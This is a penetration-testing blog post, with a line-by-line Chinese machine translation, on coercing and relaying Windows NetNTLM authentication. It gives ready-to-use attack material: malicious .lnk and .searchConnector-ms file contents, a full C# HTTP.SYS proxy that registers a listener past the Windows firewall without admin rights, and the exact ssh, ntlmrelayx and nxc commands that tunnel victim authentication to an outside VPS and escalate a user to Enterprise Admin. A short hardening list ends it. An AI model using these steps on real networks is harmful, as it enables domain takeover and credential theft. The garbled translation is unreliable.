In 2024 NetNTLM leaking is still a thing! In this post we will cover some parts of:
2024年,NetNTLM泄漏仍然是一回事!在这篇文章中,我们将介绍以下部分:
- Coerce User Authentication via NetNTLM and a file drop
通过 NetNTLM 和文件删除强制用户身份验证
- The mystery around HTTP.SYS
HTTP.SYS的谜团
- Relaying without admin privileges
在没有管理员权限的情况下进行中继
- Relaying with an active Windows firewall
使用活动 Windows 防火墙进行中继
- SSH Port forwarding SSH 端口转发
Details 详
Coerce User Authentication via NetNTLM
通过 NetNTLM 强制用户身份验证
A detail from a SO-CON 2024 slidedeck took my attention.
SO-CON 2024 幻灯片中的一个细节引起了我的注意。(Net)NTLM relaying is still alive?
(净额)NTLM中继还活着吗?
The PDF can be found here: Elad Shamir – NTLM The Legacy Protocol That Won’t Die / Elad Shamir – NTLM – SO-CON 2024.pdf
PDF可以在这里找到: Elad Shamir – NTLM The Legacy Protocol That Won’t Die / Elad Shamir – NTLM – SO-CON 2024.pdf
So, what does this mean? If an attacker can drop a hidden authentication coercion file
, which is a wonderful way to describe for example a .lnk
or a .scf
file, to a user desktop it will trigger an auth. Even without user interaction, as it typically is for network shares? – Nice
那么,这意味着什么呢?如果攻击者可以将 hidden authentication coercion file
,这是描述 或 .lnk
.scf
文件的绝妙方式,则将触发身份验证。即使没有用户交互,就像网络共享一样?-好
This could be a nice way for lateral movement, but of course requires local administrative permissions, or a really broken client (yeah, I know, happens way too often …).
这可能是横向移动的好方法,但当然需要本地管理权限,或者一个真正损坏的客户端(是的,我知道,这种情况发生得太频繁了……
A buddy at work (@qtc_de) had a nice little tip for me, when we were talking about possibilities. Instead of dropping files on each user’s desktop, we can just drop one in Users\Public\Public Desktop
and it will immediately be synchronized to all desktops.
当我们谈论可能性时,工作中的一个朋友(@qtc_de)给了我一个很好的小建议。我们只需将文件放入一个 Users\Public\Public Desktop
,即可立即同步到所有桌面,而不是将文件放在每个用户的桌面上。
Of course there are already some great writeups about this:
当然,已经有一些关于这方面的精彩文章:
For the coercion part itself, we are going to generate an overly complex lnk
file with the icon pointing to a WebDAV resource.
对于强制部分本身,我们将生成一个过于复杂的 lnk
文件,其图标指向 WebDAV 资源。
For example, NetExec has a module slinky for it, which just needs some minor adjustment.
例如,NetExec 有一个模块 slinky,只需要一些小的调整。
The relevant part of it:
其相关部分:
link = pylnk3.create(self.lnk_path)
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
link.save()
We need an icon path like this:
我们需要一个像这样的图标路径:
\\elastic-elastic-dc01\apps\icon.ico
With the lnk
dropped to the Public Desktop
we can trigger an authentication on Port 445 (SMB), which we can farm or relay. However, SMB relaying is not that useful anymore, as most environments have SMB signing enforced. There are of course some exclusions, ESC8 is still doing great!
lnk
放下后, Public Desktop
我们可以在端口 445 (SMB) 上触发身份验证,我们可以对其进行耕种或中继。但是,SMB 中继不再有用,因为大多数环境都强制执行了 SMB 签名。当然也有一些例外,ESC8 仍然做得很好!
PS: The lnk File can also be invisible 🙂
PS:lnk文件也可以是不可见的:)
There are some really great maps at https://www.thehacker.recipes/a-d/movement/ntlm/relay:
https://www.thehacker.recipes/a-d/movement/ntlm/relay 有一些非常棒的地图:
Source: https://www.thehacker.recipes/a-d/movement/ntlm/relay
来源: https://www.thehacker.recipes/a-d/movement/ntlm/relay
So what can we do to increase the impact of the relaying part?
那么我们能做些什么来增加继电器部分的冲击力呢?
WebClient Web客户端
If the WebClient is started on a client, we can trigger a coercion via HTTP (WebDAV in this case) to any port and path we want to!
如果 WebClient 是在客户端上启动的,我们可以通过 HTTP(在本例中为 WebDAV)触发对任何我们想要的端口和路径的强制!
If you need to refresh your knowledge about that topic look e.g. here.
如果您需要更新有关该主题的知识,请查看例如此处。
The risk that the webclient is not started is uncomfortable, so we just start it ourselves, also by dropping a file. This time we need a .searchConnector-ms
file. Yeah, that’s a weird filetype…
Web客户端未启动的风险令人不舒服,因此我们只需自己启动它,也可以通过删除文件来启动它。这次我们需要一个 .searchConnector-ms
文件。是的,这是一个奇怪的文件类型……
example searchConnector-ms file
示例 searchConnector-ms 文件
Yeah I honor your time, so here is the content for Copy&Paste.
是的,我尊重你的时间,所以这里是复制和粘贴的内容。
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://whatever/</url>
</simpleLocation>
</searchConnectorDescription>
Dropping this file will start the WebClient service on a client.
删除此文件将在客户端上启动 WebClient 服务。
Note that the WebClient is mostly available under Windows 10 & 11, Windows Server needs an additional role installed to have it
请注意,WebClient 主要在 Windows 10 和 11 下可用,Windows Server 需要安装额外的角色才能拥有它
We now adjust our .lnk
file to point to a specific port (10247) by adding @10247
.
现在,我们通过添加 @10247
来调整文件 .lnk
以指向特定端口 (10247)。
\\elastic-elastic-dc01@10247\apps\icon.ico
Now, if we have code execution on a Linux box without a firewall we can simply use this. But we want to go a little bit further and exploit this with an active Windows firewall and without admin permissions.
现在,如果我们在没有防火墙的 Linux 机器上执行代码,我们可以简单地使用它。但是我们想走得更远一点,通过活动的 Windows 防火墙来利用这一点,而无需管理员权限。
Break the firewall 打破防火墙
In Windows there is another way to create a webserver than a classic socket listener. Windows does include a Driver, which does the heavy lifting for us and allows quite simple web applications.
在 Windows 中,除了经典套接字侦听器之外,还有另一种创建 Web 服务器的方法。Windows 确实包含一个驱动程序,它为我们完成了繁重的工作,并允许非常简单的 Web 应用程序。
Source: https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager
来源: https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager
As we all have only limited time, here is the short version.
由于我们的时间有限,这里是简短的版本。
The .Net Namespace around this is the System.Net.HttpListener
and there is a Kernel driver doing things for us.
围绕它的 .Net 命名空间是 System.Net.HttpListener
并且有一个内核驱动程序为我们做事。
As it is nice to have a driver do some stuff for us, the bigger benefits are:
因为让司机为我们做一些事情是件好事,更大的好处是:
- We can have webserver without admin privileges
我们可以在没有管理员权限的情况下拥有网络服务器
- We can have webserver with an active Windows Firewall
我们可以拥有具有活动 Windows 防火墙的 Web 服务器
Wait, what? -Correct, there are some paths, which are allowed through the default configuration of the Windows Firewall, as the HTTP.SYS driver is running under NT-SYSTEM
and it is a trusted application!
等等,什么?- 正确,有一些路径,通过Windows防火墙的默认配置是允许的,因为HTTP.SYS驱动程序正在运行 NT-SYSTEM
,并且它是一个受信任的应用程序!
Mild shock 轻度休克
The following blog brings some light to it: https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager
以下博客为它带来了一些启示: https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager
Unfortunately, the code project is gone :’(
不幸的是,代码项目不见了:’(
- But wait, aren’t we Hackers? So we use Wayback machine!
但是等等,我们不是黑客吗?所以我们使用Wayback机器!
https://web.archive.org/web/20210629141743/https://archive.codeplex.com/?p=httpsysmanager
Luckily the release was also archived.
幸运的是,该版本也被存档了。
This allows us to use this wonderful tool, without writing all those nasty lines of code by ourselves.
这使我们能够使用这个很棒的工具,而无需自己编写所有这些令人讨厌的代码行。
HTTP.SYS ACL’s HTTP.SYS ACL 的
Let’s take a look at a Windows 11 System:
让我们来看看 Windows 11 系统:Checking the HTTP.SYS ACLs on a Windows 11
检查 Windows 11 上的HTTP.SYS ACL
If we check all those permissions for the URI, we find some interesting ones, like
如果我们检查 URI 的所有这些权限,我们会发现一些有趣的权限,例如
Lax permissions on the :10247/apps
path
:10247/apps
路径上的权限松动
Authenticated users? Hey that’s me!
经过身份验证的用户?嘿,是我!
So every authenticated user can register a listener under http://<HOST>:10247/apps
? Nice, let’s try this.
因此,每个经过身份验证的用户都可以在 http://<HOST>:10247/apps
?很好,让我们试试这个。
Running a listener without admin privileges
在没有管理员权限的情况下运行侦听器
And as a bonus, this also bypasses the default configuration of the windows firewall! – Cool
作为奖励,这也绕过了 Windows 防火墙的默认配置!-凉
Totally fine 完全没问题
Other interesting URI’s are:
其他有趣的 URI 包括:
- http://*:5357/
- http://*:10246/MDEServer/
- http://*:10247/apps/
- http://*:80/Temporary_Listen_Addresses/
- http://*:5358/
Note: Not all those URIs are also allowed through the firewall!
注意:并非所有这些 URI 也都允许通过防火墙!
Proxying 代理
So we can have a listener without admin privs and through an active windows firewall. So what’s next? We can proxy those requests and do something else with them.
因此,我们可以在没有管理员权限的情况下通过活动的 Windows 防火墙拥有一个侦听器。那么下一步是什么?我们可以代理这些请求并对它们执行其他操作。
There is a useful code snippet on LinkedIn (yeah, I know …):
https://www.linkedin.com/pulse/implementing-proxy-server-c-example-test-case-esmael-esmaeli/
This snippet needs some adjustments to fit our needs. We might come up with something quick&dirty like this
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.Remoting.Messaging;
using System.Text;
using System.Threading.Tasks;
namespace Proxy
{
internal class Program
{
static void Main(string[] args)
{
// Create a new HttpListener to listen for requests on the specified UR
HttpListener listener = new HttpListener();
listener.Prefixes.Add("http://+:80/Temporary_Listen_Addresses/");
//listener.Prefixes.Add("http://+:5357/blub/");
//listener.Prefixes.Add("http://+:5358/blubber/123/");
listener.Prefixes.Add("http://+:10246/MDEServer/");
listener.Prefixes.Add("http://+:10247/apps/");
listener.AuthenticationSchemes = AuthenticationSchemes.Anonymous;
listener.IgnoreWriteExceptions = true;
listener.Start();
while (true)
{
try
{
// Wait for a request to be made to the server
HttpListenerContext context = listener.GetContext();
// Get the request and response objects
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
// Modify the request as needed (e.g. to add headers, change the URL, etc.)
string newUrl = "http://elastic-elastic-dc01:8080/icon.ico";
// Forward the request to the destination server
HttpWebRequest destinationRequest = (HttpWebRequest)WebRequest.Create(newUrl);
destinationRequest.SendChunked = false;
destinationRequest.Method = request.HttpMethod;
// Copy the request headers from the original request to the new request
Console.WriteLine("Request");
Console.WriteLine(request.Url.ToString());
Console.WriteLine(request.HttpMethod.ToString());
Console.WriteLine(request.Headers.ToString());
foreach (string key in request.Headers.AllKeys)
{
try
{
string[] values = request.Headers.GetValues(key);
switch (key)
{
case "Connection":
if (values[0] == "Keep-Alive")
{
destinationRequest.KeepAlive = true;
} else
{
destinationRequest.Connection = values[0];
}
break;
case "Content-Length":
destinationRequest.ContentLength = long.Parse(values[0]);
break;
case "Host":
destinationRequest.Host = values[0];
break;
case "User-Agent":
destinationRequest.UserAgent = values[0];
break;
default:
destinationRequest.Headers.Add(key, values[0].ToString());
break;
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
Console.WriteLine("Forwarded item");
Console.WriteLine(destinationRequest.RequestUri.ToString());
Console.WriteLine(destinationRequest.Host);
Console.WriteLine(destinationRequest.Headers.ToString());
HttpWebResponse destinationResponse;
// Get the response from the destination server
try
{
destinationResponse = (HttpWebResponse)destinationRequest.GetResponse();
}
catch (WebException wex)
{
destinationResponse = wex.Response as HttpWebResponse;
}
Console.WriteLine("Response");
Console.WriteLine(destinationResponse.StatusCode.ToString());
Console.WriteLine(destinationResponse.Headers.ToString());
response.StatusCode = (int)destinationResponse.StatusCode;
// Copy the response headers from the destination response to the client response
foreach (string key in destinationResponse.Headers.AllKeys)
{
//response.Headers[header] = destinationResponse.Headers[header];
string[] values = destinationResponse.Headers.GetValues(key);
if (key == "Content-Length")
{
;
}
else
{
response.AddHeader(key, values[0]);
}
}
Console.WriteLine("Response - Override");
Console.WriteLine(destinationResponse.StatusCode.ToString());
Console.WriteLine(destinationResponse.Headers.ToString());
response.SendChunked = false;
// Get the response stream from the destination response and copy it to the client response
using (Stream destinationStream = destinationResponse.GetResponseStream())
{
using (Stream outputStream = response.OutputStream)
{
destinationStream.CopyTo(outputStream);
outputStream.Flush();
// You must close the output stream.
outputStream.Close();
}
}
}
catch (Exception ex)
{
Console.Write(ex.ToString());
Console.WriteLine(ex.StackTrace.ToString());
}
}
listener.Stop();
}
}
}
What is this doing? A ton of debug outputs, some bad practice, and some minor functions like registering a listener for HTTP.SYS
, forward the request to another port, get the response and then deliver the response to the initial caller.
So what can we do with this? We can combine it with an old friend!
Old friend for the rescue
Note: SSH is only an easy option. There are way better possibilities like using ironpython
, python.net
or do the relaying directly in C#.
Good ol’ SSH
We can dome some nice little port forwarding on the same machine to tunnel the traffic to a system we fully control and then send it back.
Why is this useful? As Windows also offers native SSH capabilities, we can use the standard windows client for SSH port forwarding to a server in the internet (-L 10.3.10.12:8080:10.3.10.11:80)
, have ntlmrelayx running there and tunnel the traffic back via a SOCKS (-R 127.0.0.1:9050).
Note: the target server does not need to be in the same network if SSH outgoing is allowed, meaning it can be a VPS or whatever
Farm NetNTLM Hashes
By proxying the request and using SSH Port forwarding, we can e.g. run responder on the VPS to get some hashes.
Farming some hashes for cracking
This is for sure nice, but if we just would want the hashes, we could have done this direct in the C# code like MDSec’s Farmer is doing here.
But the bigger / better part is quite often relaying!
Relay it
Let’s go a little bit through the relaying steps.
让我们稍微了解一下中继步骤。
Start ntlmrelayx on the VPS
在 VPS 上启动 ntlmrelayx
with proxychains
and -smb2support
. In this example, we are going to relay against the LDAP service, as it is still common to have no Channel binding
and no LDAP Signing
.
与 proxychains
和 -smb2support
.在此示例中,我们将针对 LDAP 服务进行中继,因为 no Channel binding
和 no LDAP Signing
仍然很常见。
Relaying to LDAP is powerfull, but not the only choice. For example an interactive shell (-i) with ntlmrelayx against a fileshare or some HTTP endpoint is also great
中继到 LDAP 功能强大,但不是唯一的选择。例如,针对文件共享或某些 HTTP 端点的带有 ntlmrelayx 的交互式 shell (-i) 也很棒
proxychains sudo ntlmrelayx.py -debug -smb2support -t "LDAP://10.3.10.12" --escalate-user domainuser --http-port 80
Create the SSH tunnel on the client
在客户端上创建 SSH 隧道
with the two different port forwardings
使用两个不同的端口转发
ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 debian@10.3.10.11
Start the ProxyApp on the client
在客户端上启动 ProxyApp
which registers at HTTP.SYS and will forward the request to port 8080 locally
它在 HTTP.SYS 注册,并将请求转发到本地端口 8080
Drop a .searchConnectors-ms file on the victim system
将 .searchConnectors-ms 文件拖放到受害者系统上
to ensure that the WebClient is running
以确保 WebClient 正在运行
Drop a .lnk file on the victim system
将 .lnk 文件放在受害者系统上
to actually coerce the authentication to our client
实际上强制对我们的客户进行身份验证
nxc smb 10.3.10.21 -d "ludus" -u "localadmin" -p "password" -M slinky -o NAME='\\users\\public\\desktop\\SHARE62' SERVER="elastic-elastic-dc01@10247\apps"
Note: The slightly strange parameters just make it to C:\users\public\desktop\Share63.lnk
and \\elastic-elastic-dc01@10247\apps
. I might make the PR for nxc in a while to clean this a little bit.
And Ta-da, this actually made us an Enterprise Admin
.
Sucessful relaying
The flow looks like this:Attack flow
PoC
“Quick” Walkthrough “快速”演练
Bonus 奖金
I know this was a lengthy post, but you almost made it. As you kept scrolling until here, there is a little bonus. You can also coerce via embedded <img>
tags in emails. Outlook will happily authenticate it against a network path if:
我知道这是一篇冗长的帖子,但你几乎做到了。当你一直滚动到这里时,有一个小小的奖励。您还可以通过电子邮件中的嵌入 <img>
标签进行胁迫。如果出现以下情况,Outlook 将很乐意根据网络路径对其进行身份验证:
- The target system is in the trusted zone, typically meaning without a “.” in the name
目标系统位于受信任区域中,通常表示名称中没有“.”
- The sender of the email is a trusted sender.
电子邮件的发件人是受信任的发件人。
All emails coming from the same domain are typically trusted senders, so if you got a trainee account, you are a trusted sender for the domain admin 🙂
来自同一域的所有电子邮件通常都是受信任的发件人,因此,如果您拥有受训者帐户,则您是域管理员:)的受信任发件人
Bonus PoC Walkthrough 奖励 PoC 演练
- Harden the firewall config
强化防火墙配置
- Harden LDAP (Channel Bindung / Signing)
强化 LDAP(通道绑定/签名)
- Ensure SMB Signing is enforced
确保强制执行 SMB 签名
- Remove all those ESC8’s
删除所有 ESC8
- Never ever use high priv accounts to get e-mails!
永远不要使用高私密帐户来接收电子邮件!